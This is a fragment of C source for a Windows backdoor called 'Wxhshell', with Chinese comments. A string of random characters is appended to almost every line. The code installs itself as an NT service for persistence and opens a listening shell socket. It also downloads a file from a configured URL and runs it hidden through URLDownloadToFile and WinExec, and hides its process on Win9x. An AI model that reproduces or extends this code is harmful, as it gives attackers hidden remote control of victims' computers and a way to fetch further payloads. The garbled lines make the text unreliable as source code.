ULONG UniqueProcessId; ~tRGw^<9
ULONG InheritedFromUniqueProcessId; Is<XMR|{
} PROCESS_BASIC_INFORMATION; j%w^8}U>G
hAc|a9 o
PROCNTQSIP NtQueryInformationProcess; *V\.6,^v
EU|IzUjFj|
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (S+/e5c)
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JR15y3F
EQd<!)HZ
HANDLE hProcess; $0 vT_
PROCESS_BASIC_INFORMATION pbi; P:vp/x!
`aG_ m/7|
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G `!A#As
if(NULL == hInst ) return 0; b6Z3(!]
]
|#<z\u }
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |o9`h 9i
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oA7DhU5n
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2@
9? ~?r
G/(,,T}eG
if (!NtQueryInformationProcess) return 0; %D:VcY9OC
S$$SLy:P
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #Ktk[ "6
if(!hProcess) return 0; L97 ~ma
T`Up%5Dk
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BN%cX2j
_
A#lyp
CloseHandle(hProcess); ITqAy1m@C
6_u!{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7qUg~GJX
if(hProcess==NULL) return 0; rTVv6:L
~xsJML
HMODULE hMod; "JLE
char procName[255]; 3BD&;.<r
unsigned long cbNeeded; [r3sk24
Eri007? D
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4uMMf
An0N'yo"Z
CloseHandle(hProcess); '\op$t/
w2X HY>6];
if(strstr(procName,"services")) return 1; // 以服务启动 z[<Na3]
^0}wmxDq
return 0; // 注册表启动 js Z"T
} RN[x\" ,
lMu-,Z="
// 主模块 ,tg]Gt
int StartWxhshell(LPSTR lpCmdLine) M/9[P*
VE
{ \<T7EV.
SOCKET wsl; H?Q--pG8
BOOL val=TRUE; hE`d@
int port=0; !z4I-a
struct sockaddr_in door; ]a&riPh"
zx2`0%Q
if(wscfg.ws_autoins) Install(); K\;4;6g
7.ein:M|CB
port=atoi(lpCmdLine); V59!}kel1%
ED79a:
if(port<=0) port=wscfg.ws_port; U!c+i#:t
A- Abj'
WSADATA data; R13k2jLSQ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1hi,&h
/}6y\3h
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; wL3RcXW``e
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G/#<d-}_
door.sin_family = AF_INET; z;?jKE p
door.sin_addr.s_addr = inet_addr("127.0.0.1"); =>3,]hnep
door.sin_port = htons(port); ocK4Nxs
s[h;9
I1w
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @%L
closesocket(wsl); lemV&$WN|
return 1; XXA'B{@Y)
} aZ\Z7(
^w``(-[*
if(listen(wsl,2) == INVALID_SOCKET) { Vq`/]&
closesocket(wsl); p=> +3
return 1; cQThpgha
} O{\<Izm`D
Wxhshell(wsl); VBDb K|
WSACleanup(); <D)@;A
o&@ y^<UQ
return 0; <bg6k . s
c U(z5th
} &K9RV4M5
u1u;aG
// 以NT服务方式启动 q5EkAh<PD|
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SnXM`v,
{ >.od(Fh{l|
DWORD status = 0; 4xal m
DWORD specificError = 0xfffffff; 8,RqhT)2#
Ax~
i`
serviceStatus.dwServiceType = SERVICE_WIN32; 0]'
2i
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8$47Y2r@
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4]0:zS*O
serviceStatus.dwWin32ExitCode = 0; SC2LY
serviceStatus.dwServiceSpecificExitCode = 0; -#/DK
serviceStatus.dwCheckPoint = 0; ]:?S}DRG
serviceStatus.dwWaitHint = 0; $E^sA|KcT
rDoMz3[w
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J>#yA0QD2
if (hServiceStatusHandle==0) return; %++:
K
v*JKLA
status = GetLastError(); _:tS-Mx@5
if (status!=NO_ERROR) )T
gfd5B
{ 7p':a)
serviceStatus.dwCurrentState = SERVICE_STOPPED; md18q:AG)
serviceStatus.dwCheckPoint = 0; B= E/|J</
serviceStatus.dwWaitHint = 0; 4Y1^ U{A+
serviceStatus.dwWin32ExitCode = status; VbJE zl
serviceStatus.dwServiceSpecificExitCode = specificError; {6qxg _{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :PY8)39@K
return; 9 4lt?|3=
} (yd(ZY
@zi0:3`#0\
serviceStatus.dwCurrentState = SERVICE_RUNNING; pG)dF@
serviceStatus.dwCheckPoint = 0; h]z 8.k2n
serviceStatus.dwWaitHint = 0; ZTfW_0
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gYGoJH1
} z4(\yx
Yqo @
g2g
// 处理NT服务事件,比如:启动、停止 r<srTHGLo
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^*$!9~
{ IV':sNV
switch(fdwControl) ~.U\Y
{ hH;i_("i(h
case SERVICE_CONTROL_STOP: zIS ,N '
serviceStatus.dwWin32ExitCode = 0; 06.8m;{N
serviceStatus.dwCurrentState = SERVICE_STOPPED; w^nA/=;r
serviceStatus.dwCheckPoint = 0; `VGw5o
serviceStatus.dwWaitHint = 0; Th\T$T`X$
{ '4u/ g
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &X`
lh P
} tK *y/S
return; Rb:?%\=
case SERVICE_CONTROL_PAUSE: 5-({z%:P
serviceStatus.dwCurrentState = SERVICE_PAUSED; y,`0f|
break; .T(vGiU
case SERVICE_CONTROL_CONTINUE: -:45Q{u/
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8JR&s
break; :ntAU2)H
case SERVICE_CONTROL_INTERROGATE: #FRm<9/j
break; B]gyj
}; W)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); a"g\f{v0AR
} zn^ G V
Rh
]XJM
// 标准应用程序主函数 ZXiJ5BZ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '
\>k7?@
{ *tR'K#:&g!
?/sn"~"
// 获取操作系统版本 >zfx2wh\a
OsIsNt=GetOsVer(); A8S9HXL
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3syA$0TZt
a;~< iB;3"
// 从命令行安装 /#eS3`48
if(strpbrk(lpCmdLine,"iI")) Install(); mO TA
&P35\q
// 下载执行文件 yn(bW\
if(wscfg.ws_downexe) { /6y{?0S
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $1zWQJd[-
WinExec(wscfg.ws_filenam,SW_HIDE); !SGRK01
} TEj"G7]1$A
-*T0Cl.
if(!OsIsNt) { KZ AF9
// 如果时win9x,隐藏进程并且设置为注册表启动 PX/^*
HideProc(); K~3Y8ca
StartWxhshell(lpCmdLine); pg_H' 0R
} ^AOJ^@H^>
else Uy)pEEu
if(StartFromService()) (47la$CR
// 以服务方式启动 jMS>B)'TO
StartServiceCtrlDispatcher(DispatchTable); ( 'dbMH\O
else Tl]yl$
// 普通方式启动 w6Mv%ZO_
StartWxhshell(lpCmdLine); #NL'r99D/o
G6x'Myg I
return 0; itiSZL,
}